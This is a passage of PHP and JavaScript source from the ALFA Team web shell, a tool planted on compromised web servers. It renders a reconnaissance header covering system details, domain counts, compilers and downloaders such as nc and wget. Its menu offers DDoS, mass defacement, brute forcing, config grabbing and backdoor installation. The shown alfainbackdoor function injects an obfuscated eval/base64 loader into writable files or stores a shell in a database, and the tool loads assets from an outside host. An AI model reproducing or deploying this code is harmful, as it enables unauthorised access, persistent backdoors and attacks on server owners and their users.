0==is_minimized&&"none"==$("editor").style.display?($("editor").style.display="block",showEditor("editor"),alfaloader(b,"block")):(is_minimized&&showEditor("editor"),null!=$(b)?alfaloader(b,"block"):(alfaloader("editor","block"),b="editor")),_Ajax(d.URL,"a="+alfab64("FilesTools")+"&c="+alfab64(f)+"&alfa1="+alfab64(e)+"&alfa2="+alfab64(a)+"&alfa3="+r+"&alfa4="+n+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"),function(t,i){var l=$("tab_"+i);try{null!=l&&((-1==l.classList.value.indexOf("editor-tab-active")||is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","Editor: "+l.innerText)),is_minimized&&alfaUpdateOptionsBadge("editor"))}catch(t){}if("none"==$("editor").style.display?alfaLoaderOnTop("none"):alfaloader(i,"none"),r.length>0&&"edit"==a)return is_minimized||null!=l&&-1!=l.classList.value.indexOf("editor-tab-active")&&alfaShowNotification("saved...!","Editor"),!1;if(null!=$(i)&&($(i).innerHTML=t),is_minimized&&alfaShowNotification("proccess is done...","Editor: "+decodeURIComponent(e)),$("editor").style.display="block",evalJS(t),alfaLoadAceEditor("view_ml_content"),"delete"!=a&&editor_error){var c=d.getElementsByClassName("is_active");0!=c.length&&(c[0].className="file-holder"),n=s,e=decodeURIComponent(e),!editor_files[n]&&_?(editor_files[n]={file:e,pwd:f,type:o},insertToHistory(n,e," is_active",o),"mkfile"==a&&g("FilesMan",null)):$(n).parentNode.className+=" is_active"}d.body.style.overflow="hidden",d.getElementsByClassName("filestools")[0].setAttribute("fid",n),editor_files[n]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[n].pwd+"/"+editor_files[n].file).replace(/\/\//g,"/")),editor_current_file=n,updateCookieEditor()},!1,b),!1}function alfaLoadAceEditor(e,a){if(void 0===a&&(a=!1),null==$("alfa-ace-plugin")){var t=document.createElement("script");return t.src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.11/ace.js",t.id="alfa-ace-plugin",t.onload=function(){alfaLoadAceEditor(e,a)},d.body.appendChild(t),!1}try{"allow"==$(e).getAttribute("mode")&&(a=!1)}catch(e){}if("view_ml_content"==e){null==alfa_ace_editors.editor&&(alfa_ace_editors.editor={});var i=getCookie("alfa_ace_theme_editor"),l=getCookie("alfa_ace_fontsize_editor");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".editor-ace-controller").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=getRandom(10),o=e.querySelector(".view_ml_content");o.setAttribute("id","view_ml_content-"+t),alfa_ace_editors.editor["view_ml_content-"+t]=ace.edit(o),alfa_ace_editors.editor["view_ml_content-"+t].setReadOnly(a),alfa_ace_editors.editor["view_ml_content-"+t].setShowPrintMargin(!1),alfa_ace_editors.editor["view_ml_content-"+t].setTheme("ace/theme/"+i),alfa_ace_editors.editor["view_ml_content-"+t].session.setMode("ace/mode/php"),alfa_ace_editors.editor["view_ml_content-"+t].session.setUseWrapMode(!0),alfa_ace_editors.editor["view_ml_content-"+t].commands.addCommand({name:"save",bindKey:{win:"Ctrl-S",mac:"Cmd-S"},exec:function(e){d.querySelector("#ace-save-btn-"+t).click()}}),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","view_ml_content-"+t),-1!=e.classList.value.indexOf("ace-save-btn")&&e.setAttribute("id","ace-save-btn-"+t)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.editor["view_ml_content-"+t].setFontSize(parseInt(l))},1e3)})}else{null==alfa_ace_editors.eval&&(alfa_ace_editors.eval={});i=getCookie("alfa_ace_theme_eval"),l=getCookie("alfa_ace_fontsize_eval");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".php-evals").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=e.querySelector(".php-evals-ace"),o=getRandom(10);t.setAttribute("id","phpeval-"+o),alfa_ace_editors.eval["phpeval-"+o]=ace.edit(t),alfa_ace_editors.eval["phpeval-"+o].setReadOnly(a),alfa_ace_editors.eval["phpeval-"+o].setShowPrintMargin(!1),alfa_ace_editors.eval["phpeval-"+o].setTheme("ace/theme/"+i),alfa_ace_editors.eval["phpeval-"+o].session.setMode("ace/mode/php"),alfa_ace_editors.eval["phpeval-"+o].session.setUseWrapMode(!0),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","phpeval-"+o)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.eval["phpeval-"+o].setFontSize(parseInt(l))},1e3)})}}function insertToHistory(e,a,t,i){var l="";t&&0!=t&&(l=t);var o=document.createElement("div");o.innerHTML="<div id='"+e+"' class='history' onClick='reopen(this);'><div class='editor-icon'>"+loadType(a,i,e)+"</div><div class='editor-file-name'>"+a+"</div></div><div class='history-close' onClick='removeHistory(\""+e+"\");'>X</div>",o.className="file-holder"+l,o.addEventListener("mouseover",function(){setEditorTitle(e,"over"),this.childNodes[1].style.opacity="1"}),o.addEventListener("mouseout",function(){setEditorTitle(e,"out"),this.childNodes[1].style.opacity="0"});var r=d.getElementsByClassName("history-list")[0];r.insertBefore(o,r.firstChild)}function loadType(e,a,t){"none"==a&&_Ajax(d.URL,"a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[t].pwd)+"&arg="+alfab64(editor_files[t].file),function(e){$(t).innerHTML="<div class='editor-icon'>"+loadType(editor_files[t].file,e,t)+"</div><div class='editor-file-name'>"+editor_files[t].file+"</div>",editor_files[t].type=e});if("file"==a){a=(a=e.split("."))[a.length-1].toLowerCase();-1==["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"].indexOf(a)&&(a="notfound")}else a="folder";return'<img src="http://solevisible.com/icons/{type}" width="30" height="30">'.replace("{type}",a+".png")}function updateFileEditor(e,a){var t="id_"+e,i="id_chmode_"+e,l="id_rename_"+e,o="id_touch_"+e,r="id_edit_"+e,n="id_download_"+e,d="id_delete_"+e,s=$(t).getAttribute("ftype");"folder"==s&&(s="dir"),"file"==s?($(t).innerHTML=a,$(t).setAttribute("href","#action=fileman&path="+c_+"/"+a),$(t).setAttribute("onclick","editor('"+a+"','auto','','','','file')"),$(r).setAttribute("onclick","editor('"+a+"','edit','','','','"+s+"')"),$(n).setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')")):($(t).innerHTML="<b>| "+a+" |</b>",$(t).setAttribute("onclick","g('FilesMan', '"+c_+"/"+a+"')")),$(i).setAttribute("onclick","editor('"+a+"','chmod','','','','"+s+"')"),$(l).setAttribute("onclick","editor('"+a+"','rename','','','','"+s+"')"),$(o).setAttribute("onclick","editor('"+a+"','touch','','','','"+s+"')"),$(d).setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';"),$(t).setAttribute("fname",a)}function updateDirsEditor(e,a){var t=d.mf.c.value+"/",i=editor_files[e].pwd+"/"+a+"/",l=editor_files[e].pwd+"/"+editor_files[e].file+"/";for(var o in i=i.replace(/\/\//g,"/"),l=l.replace(/\/\//g,"/"),-1!=(t=t.replace(/\/\//g,"/")).search(i)&&(initDir(t.replace(i,l)),d.mf.c.value=t.replace(i,l)),editor_files){var r=editor_files[o].pwd+"/";-1!=(r=r.replace(/\/\//g,"/")).search(i)&&(editor_files[o].pwd=r.replace(i,l))}updateCookieEditor()}function updateCookieEditor(){setCookie("alfa_history_files",btoa(JSON.stringify(editor_files)),2012)}function setEditorTitle(e,a){if("out"==a&&""!=editor_current_file){var t=d.querySelector(".editor-tab-name.editor-tab-active");e=null!=t?t.getAttribute("opt_id").replace("editor_source_","file_"):editor_current_file}editor_files[e]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[e].pwd+"/"+editor_files[e].file).replace(/\/\//g,"/"))}function removeHistory(e){delete editor_files[e],$(e)&&$(e).parentNode.parentNode.removeChild($(e).parentNode);var a=d.getElementsByClassName("filestools")[0];a&&a.getAttribute("fid")==e&&(a.outerHTML=""),editor_current_file==e&&(editor_current_file=""),updateCookieEditor()}function getRandom(e){for(var a="",t="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",i=void 0===e?20:e;i>0;--i)a+=t[Math.floor(Math.random()*t.length)];return a}function reopen(e){var a=e.getAttribute("id"),t=editor_files[a].pwd,i=editor_files[a].file,l="editor_source_"+a.replace("file_","");null==$(l)?editor(i,"auto","",t,a):editorTabController(l,!0)}function copyToClipboard(e){e=e.getAttribute("ace_id");var a=alfa_ace_editors.editor[e].selection.toJSON();alfa_ace_editors.editor[e].selectAll(),alfa_ace_editors.editor[e].focus(),document.execCommand("copy"),alfa_ace_editors.editor[e].selection.fromJSON(a),alfaShowNotification("text copied","Editor")}function encrypt(e,a){if(null==a||a.length<=0)return null;e=alfab64(e,!0),a=alfab64(a,!0);for(var t="",i="",l=0;l<e.length;)for(var o=0;o<a.length&&(t=e.charCodeAt(l)^a.charCodeAt(o),i+=String.fromCharCode(t),!(++l>=e.length));o++);return alfab64(i,!0)}function reloadSetting(e){return alfaloader(alfa_before_do_action_id,"block"),_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(e.protect.value)+"&alfa2="+alfab64(e.lgpage.value)+"&alfa3="+alfab64(e.username.value)+"&alfa4="+alfab64(e.password.value)+"&alfa5="+alfab64(">>")+"&alfa6="+alfab64(e.icon.value)+"&alfa7="+alfab64(e.post_encrypt.value)+"&alfa8="+alfab64("main")+"&alfa9="+alfab64(e.cgi_api.value)+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e,a){loadPopUpOpTions(a,e),evalJS(e),alfaloader(a,"none")},!1,alfa_before_do_action_id),alfa_before_do_action_id="",0==e.e.value&&1==e.protect.value&&setTimeout("location.reload()",1e3),e.s.value!=e.icon.value&&setTimeout("location.reload()",1e3),!1}function reloadColors(e){var a={};void 0===e?d.querySelectorAll(".colors_input").forEach(function(e){var t=e.getAttribute("target").replace(".","");a[t]=e.value}):a=e;var t=$("use_default_color").checked?"1":"0";_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(JSON.stringify(a))+"&alfa2="+alfab64(">>")+"&alfa3="+alfab64(t)+"&alfa8="+alfab64("color")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){evalJS(e)},!0)}function alfab64(e,a){return void 0!==a||0==post_encryption_mode?window.btoa(unescape(encodeURIComponent(e))):encrypt(e,"<?php echo __ALFA_SECRET_KEY__; ?>")}function evalCss(e){var a=document.createElement("style");a.styleSheet?a.styleSheet.cssText=e:a.appendChild(document.createTextNode(e)),d.getElementsByTagName("head")[0].appendChild(a)}function colorHandlerKey(e){setTimeout(function(a){colorHandler(e)},200)}function colorHandler(e){var a=e.getAttribute("target"),t=e.getAttribute("multi"),l=a.indexOf(":hover");if(t){var o=JSON.parse(atob(t)),r="";for(i in o.multi_selector)r+=i+"{"+o.multi_selector[i].replace(/{color}/g,e.value)+"}";evalCss(r)}-1==l||t?($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,".header_values"==a&&(a=".header,.header_values"),d.querySelectorAll(a).forEach(function(a){a.style.color=e.value})):($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,evalCss(a+"{color: "+e.value+";}"))}function importConfig(e){var a=e.target,t=new FileReader;t.onload=function(){var e=t.result;try{reloadColors(JSON.parse(e))}catch(e){alert("Config is invalid...!")}$("importFileBtn").value=""},t.readAsText(a.files[0])}function checkBox(e){var a=alfa_current_fm_id,t=e.checked;d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked=t})}function runcgi(e){if($("cgiframe").style.height="unset",d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Cgi Shell",d.querySelector("#cgiloader .opt-title").innerHTML="Cgi Shell",cgi_is_minimized&&cgi_lang==e&&(showEditor("cgiloader"),0==php_temrinal_using_cgi))return!1;php_temrinal_using_cgi=!1,_Ajax(d.URL,"a="+alfab64("cgishell")+"&alfa1="+alfab64(e)+"&ajax="+alfab64("true"),function(a){d.body.style.overflow="hidden",$("cgiloader").style.display="block",d.querySelector("#cgiframe .terminal-tabs").innerHTML="",d.querySelector("#cgiframe .terminal-contents").innerHTML=a,cgi_lang=e,cgi_is_minimized&&($("cgiloader-minimized").setAttribute("class","minimized-hide"),setTimeout(function(){$("cgiloader").removeAttribute("class"),is_minimized&&($("editor-minimized").style.top="30%")},1e3))})}Element.prototype.appendAfter=function(e){e.parentNode.insertBefore(this,e.nextSibling)};
</script>
<?php echo"<form style='display:none;' id='dlForm' action='' target='_blank' method='post'>
<input type='hidden' name='a' value='dlfile'>
<input type='hidden' name='c' value=''>
<input type='hidden' name='file' value=''>
</form>
<input type='file' style='display:none;' id='importFileBtn' onchange='importConfig(event);'>
<div id='a_loader'><img src='".__showicon('loader')."'></div>";
$cmd_uname = alfaEx("uname -a",false,false);
$uname = function_exists('php_uname') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname)>0?$cmd_uname:'( php_uname ) Function Disabled !');
if($uname=="( php_uname ) Function Disabled !"){$GLOBALS["need_to_update_header"]="true";}
echo '
</head>
<body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<div id="up_bar_holder"></div>
<div class="whole">
<form method="post" name="mf" style="display:none;">
<input type="hidden" name="a">
<input type="hidden" name="c" value="'.$GLOBALS['cwd'].'">';
for($s=1;$s<=10;$s++){
echo '<input type="hidden" name="alfa'.$s.'">';
}
echo '<input type="hidden" name="charset">
</form>
<div id=\'hidden_sh\'><a class="alert_green" target="_blank" href="?solevisible"><span style="color:#42ff59;">'.__ALFA_CODE_NAME__.'</span><br><small>Version: <span class="hidden_shell_version">'.__ALFA_VERSION__.'</span></small></a></div>
<div class="header"><table width="100%" border="0">
<tr>
<td width="3%"><span class="header_vars">Uname:</span></td>
<td colspan="2"><span class="header_values" id="header_uname">'.$uname.'</span></td>
</tr>
<tr>
<td><span class="header_vars">User:</span></td>
<td><span class="header_values" id="header_userid">'. $uid . ' [ ' . $user . ' ] </span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">' . $gid . ' [ ' . $group . ' ]</span> </td>
<td width="12%" rowspan="8"><img style="border-radius:100px;" width="300" height="170" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png" /></td>
</tr>
<tr>
<td><span class="header_vars">PHP:</span></td>
<td><b>'.@phpversion(). ' </b><span class="header_vars"> Safe Mode: '.$safe_modes.'</span></td>
</tr>
<tr>
<td><span class="header_vars">ServerIP:</span></td>
<td><b>'.(!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER['SERVER_NAME']):'????'):@$_SERVER["SERVER_ADDR"]).'</b><div style="display:inline;display:none;" class="flag-holder"></div> <span class="header_vars">Your IP:</span><b> '.@$_SERVER["REMOTE_ADDR"].'</b><div style="display:inline;display:none;" class="flag-holder"></div></td>
</tr>
<tr>
<td width="3%"><span class="header_vars">DateTime:</span></td>
<td colspan="2"><b>'.date('Y-m-d H:i:s').'</b></td>
</tr>
<tr>
<td><span class="header_vars">Domains:</span></td>
<td width="76%"><span class="header_values" id="header_domains">';
if($GLOBALS['sys']=='unix'){
$d0mains = _alfa_file("/etc/named.conf",false);
if(!$d0mains){echo "Cant Read [ /etc/named.conf ]";$GLOBALS["need_to_update_header"]="true";}else{
$count=0;
foreach($d0mains as $d0main){
if(@strstr($d0main,"zone")){
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
flush();
$count++;}}}
echo "$count Domains";}}
else{echo("Cant Read [ /etc/named.conf ]");}
echo '</span></td>
</tr>
<tr>
<td height="16"><span class="header_vars">HDD:</span></td>
<td><span class="header_vars">Total:</span><b>'.alfaSize($totalSpace).' </b><span class="header_vars">Free:</span><b>' . alfaSize($freeSpace) . ' ['. (int) ($freeSpace/$totalSpace*100) . '%]</b></td>
</tr>';
if($GLOBALS['sys']=='unix'){
$useful_downloader = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>';
if(!@ini_get('safe_mode')){
if(strlen(alfaEx("id",false,false))>0){
echo '<tr><td height="18" colspan="2"><span class="header_vars">Useful : </span>';
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzialfa2','nc','locate','suidperl');
$x=0;
foreach($userful as $item)if(alfaWhich($item)){$x++;echo '<span class="header_values" style="margin-left: 4px;">'.$item.'</span>';}
if($x==0){echo "<span class='header_values' id='header_useful'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}
echo '</td>
</tr>
<tr>
<td height="0" colspan="2"><span class="header_vars">Downloader: </span>';
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
$x=0;
foreach($downloaders as $item2)if(alfaWhich($item2)){$x++;echo '<span class="header_values" style="margin-left: 4px;">'.$item2.'</span>';}
if($x==0){echo "<span class='header_values' id='header_downloader'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}
echo '</td>
</tr>';
}else{
echo $useful_downloader;$GLOBALS["need_to_update_header"] = "true";
}
}else{
echo $useful_downloader;$GLOBALS["need_to_update_header"] = "true";
}
}else{
echo '<tr><td height="18" colspan="2"><span class="header_vars">Windows:</span><b>';
echo alfaEx('ver',false,false);
echo '</td>
</tr> <tr>
<td height="0" colspan="2"><span class="header_vars">Downloader: </span><b>-------------</b></td>
</tr></b>';
}
$quotes = (function_exists('get_magic_quotes_gpc')?get_magic_quotes_gpc():'0');if ($quotes == "1" or $quotes == "on"){$magic = '<b><span class="header_on">ON</span>';}else{$magic = '<span class="header_off">OFF</span>';}
echo '<tr>
<td height="16" colspan="2"><span class="header_vars">Disable Functions: </span><b>'.Alfa_GetDisable_Function().'</b></td>
</tr>
<tr>
<td height="16" colspan="2"><span class="header_vars">CURL :</span>'.$curl.' | <span class="header_vars">SSH2 : </span>'.$ssh2.' | <span class="header_vars">Magic Quotes : </span>'.$magic.' | <span class="header_vars"> MySQL :</span>'.$mysql.' | <span class="header_vars">MSSQL :</span>'.$mssql.' | <span class="header_vars"> PostgreSQL :</span>'.$pg.' | <span class="header_vars"> Oracle :</span>'.$or.' '.($GLOBALS['sys']=="unix"?'| <span class="header_vars"> CGI :</span> '.$cgi_shell:"").'</td><td width="15%"><div id="alfa_solevisible"><center><a href="https://t.me/solevisible" target="_blank"><span><font class="solevisible-text" color="#0F0">Sole Sad & Invisible</font></span></a></center></div></td>
</tr>
<tr>
<td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b>'.$open_b.'</b> | <span class="header_vars">Safe_mode_exec_dir :</span><b>'.$safe_exe.'</b> | <span class="header_vars"> Safe_mode_include_dir :</span></b>'.$safe_include.'</b></td>
</tr>
<tr>
<td height="11"><span class="header_vars">SoftWare: </span></td>
<td colspan="2"><b>'.@getenv('SERVER_SOFTWARE').'</b></td>
</tr>';
if($GLOBALS['sys']=="win"){
echo '<tr>
<td height="12"><span class="header_vars">DRIVE:</span></td>
<td colspan="2"><b>'.$drives.'</b></td>
</tr>';
}
echo '<tr>
<td height="12"><span class="header_vars">PWD:</span></td>
<td colspan="2"><span id="header_cwd">'.$cwd_links.' </span><a href="#action=fileman&path='.$GLOBALS['home_cwd'].'" onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><span class="home_shell">[ Home Shell ]</span> </a></td>
</tr>
</table>
</div>
<div id="meunlist">
<ul>
';
$li = array('proc'=>'Process','phpeval'=>'Eval','sql'=>'SQL Manager','dumper'=>'Database Dumper','coldumper'=>'Column Dumper','hash'=>'En-Decoder','connect'=>'BC',
'zoneh'=>'ZONE-H','dos'=>'DDOS','safe'=>'ByPasser','cgishell'=>'Cgi Shell','ssiShell'=>'SSI SHELL','cpcrack'=>'Hash Tools',
'portscanner'=>'Port Scaner','basedir'=>'Open BaseDir','mail'=>'Fake Mail','ziper'=>'Compressor','deziper'=>'DeCompressor','IndexChanger'=>'Index Changer','pwchanger'=>'Add New Admin','ShellInjectors'=>'Shell Injectors',
'php2xml'=>'PHP2XML','cloudflare'=>'CloudFlare','Whmcs'=>'Whmcs DeCoder','symlink'=>'Symlink','MassDefacer'=>'Mass Defacer','Crackers'=>'BruteForcer','searcher'=>'Searcher','config_grabber'=>'Config Grabber','fakepage'=>'Fake Page','archive_manager'=>'Archive Manager',
'cmshijacker'=>'CMS Hijacker','remotedl'=>'Remote Upload','inbackdoor'=>'Install BackDoor','whois'=>'Whois','selfrm'=>'Remove Shell'
);
foreach($li as $key=>$value){
echo('<li><a id="menu_opt_'.$key.'" href="#action=options&path='.$GLOBALS['cwd'].'&opt='.$key.'" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt='.$key.'\';g(\''.$key.'\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">'.$value.'</a></li>'."\n");
}
echo '</ul><div style="text-align: center;padding: 6px;"><a id="menu_opt_settings" href="#action=options&path='.$GLOBALS['cwd'].'&opt=settings" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=settings\';g(\'settings\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">Alfa Settings</a><a style="display:none;" id="menu_opt_market" href="#action=options&path='.$GLOBALS['cwd'].'&opt=market" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=market\';g(\'market\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;"><span class="alfa_plus">Alfa market</span></a><a id="menu_opt_aboutus" href="#action=options&path='.$GLOBALS['cwd'].'&opt=aboutus" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=aboutus\';g(\'aboutus\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">About Us</a>'.(!empty($_COOKIE['AlfaUser']) && !empty($_COOKIE['AlfaPass']) ? '<a href="javascript:void(0);" onclick="alfaLogOut();"><font color="red">LogOut</font></a>':'').'</div></div><div id="filesman_tabs"><div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" fm_counter="1" path="'.$GLOBALS['cwd'].'" fm_id="1" id="filesman_tab_1" class="filesman_tab filesman-tab-active" onclick="filesmanTabController(this);"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span>File manager</span></div><div style="display:inline-block;" id="filesman_tabs_child"></div><div id="filesman_new_tab" class="filesman_tab" style="background: maroon;" onClick="alfaFilesManNewTab(c_,\'/\',1);">New Tab +</div></div>';}else{
@error_reporting(E_ALL ^ E_NOTICE);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('magic_quotes_runtime', 0);
@set_time_limit(0);
}}
function alfalogout(){
@setcookie("AlfaUser", null, 2012);
@setcookie("AlfaPass", null, 2012);
unset($_COOKIE['AlfaUser'],$_COOKIE['AlfaPass']);
echo("ok");
}
function showAnimation($name){
	return '-webkit-animation: '.$name.' 800ms ease-in-out forwards;-moz-animation: '.$name.' 800ms ease-in-out forwards;-ms-animation: '.$name.' 800ms ease-in-out forwards;animation: '.$name.' 800ms ease-in-out forwards;';
}
function __showicon($r){
	$s['btn']='http://solevisible.com/images/btn.png';
	$s['alfamini']='http://solevisible.com/images/alfamini.png';
	$s['loader']='http://solevisible.com/images/loader.svg';
	//return 'data:image/png;base64,'.__get_resource($s[$r]);
	return $s[$r];
}
function alfainbackdoor(){
alfahead();
echo '<div class=header><center><p><div class="txtfont_header">| Install BackDoor |</div></p><h3><a href=javascript:void(0) onclick="g(\'inbackdoor\',null,\'file\')">| In File | </a><a href=javascript:void(0) onclick="g(\'inbackdoor\',null,\'db\')">| In DataBase | </a></h3></center>';
$error = '<font color="red">Error In Inject BackDoor...!<br>File Loader is not Writable Or Not Exists...!</font>';
$success= '<font color="green">Success...!';
$textarea = "<div style='display:none;' id='backdoor_textarea'><div class='txtfont'>Your Shell:</div><p><textarea name='shell' rows='19' cols='103'><?php\n\techo('Alfa Team is Here...!');\n?></textarea></p></div>";
$select = "<div class='txtfont'>Use:</div> <select name='method' style='width:155px;' onChange='inBackdoor(this);'><option value='alfa'>Alfa Team Uploader</option><option value='my'>My Private Shell</option></select>";
$cwd = 'Example: /home/alfa/public_html/index.php';
if($_POST['alfa1']=='file'){
echo("<center><p><div class='txtfont_header'>| In File |</div></p><p><form onsubmit=\"g('inbackdoor',null,'file',this.method.value,this.file.value,this.shell.value,this.key.value);return false;\">{$select} <div class='txtfont'>Backdoor Loader:</div> <input type='text' name='file' size='50' placeholder='{$cwd}'> <div class='txtfont'>Key: </div> <input type='text' name='key' size='10' value='alfa'> <input type='submit' value=' '>{$textarea}</form></p></center>");
if($_POST['alfa2']!=''&&$_POST['alfa3']!=''&&$_POST['alfa4']!=''){
$method = $_POST['alfa2'];
$file = $_POST['alfa3'];
$shell = $_POST['alfa4'];
$key = str_replace(array('"','\''),'',trim($_POST['alfa5']));
if($key=='')$key='alfa';
if($method=='my'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS['__ALFA_SHELL_CODE'];}
$code = '<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="'.$key.'"){$func="cr"."ea"."te_"."fun"."ction";$x=$func("\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\$c));");$x("'.$shell.'");exit;}?>';
if(@is_file($file)&&@is_writable($file)){@file_put_contents($file,$code."\n".@file_get_contents($file));__alert($success."<br>Run With: ".basename($file)."?alfa=".$key.'</font>');}else{__alert($error);}}}
if($_POST['alfa1']=='db'){
echo("<center><p><div class='txtfont_header'>| In DataBase |</div></p>".getConfigHtml('all')."<p><form onsubmit=\"g('inbackdoor',null,'db',this.db_host.value,this.db_username.value,this.db_password.value,this.db_name.value,this.file.value,this.method.value,this.shell.value,this.key.value);return false;\">");
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Backdoor Loader: ', 'inputName' => 'file', 'inputValue' => $cwd, 'inputSize' => '50', 'placeholder' => true),
'td6' =>
array('color' => 'FFFFFF', 'tdName' => 'Key: ', 'inputName' => 'key', 'inputValue' => 'alfa', 'inputSize' => '50')
);
create_table($table);
echo("<p>{$select}</p>");
echo($textarea);
echo("<p><input type='submit' value=' '></p></form></p></center>");
if($_POST['alfa2']!=''&&$_POST['alfa3']!=''&&$_POST['alfa5']!=''&&$_POST['alfa6']!=''){
$dbhost = $_POST['alfa2'];
$dbuser = $_POST['alfa3'];
$dbpw = $_POST['alfa4'];
$dbname = $_POST['alfa5'];
$file = $_POST['alfa6'];
$method = $_POST['alfa7'];
$shell = $_POST['alfa8'];
$key = str_replace(array('"','\''),'',trim($_POST['alfa9']));
if($key=='')$key='alfa';
if($method=='my'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS['__ALFA_SHELL_CODE'];}
if($conn = mysqli_connect($dbhost,$dbuser,$dbpw,$dbname)){
$code = '<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="'.$key.'"){$conn=mysqli_connect("'.str_replace('"','\"',$dbhost).'","'.str_replace('"','\"',$dbuser).'","'.str_replace('"','\"',$dbpw).'","'.str_replace('"','\"',$dbname).'");$q=mysqli_query($conn,"SELECT `code` FROM alfa_bc LIMIT 0,1");$r=mysqli_fetch_assoc($q);$func="cr"."ea"."te_"."fun"."ction";$x=$func("\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\$c));");$x($r["code"]);exit;}?>';
if(@is_file($file)&&@is_writable($file)){
@mysqli_query($conn,'DROP TABLE `alfa_bc`');
@mysqli_query($conn,'CREATE TABLE `alfa_bc` (code LONGTEXT)');
@mysqli_query($conn,'INSERT INTO `alfa_bc` VALUES("'.$shell.'")');
@file_put_contents($file,$code."\n".@file_get_contents($file));
__alert($success."<br>Run With: ".basename($file)."?alfa=".$key.'</font>');}else{__alert($error);}}}}
echo('</div>');
alfafooter();
}
function alfawhois(){
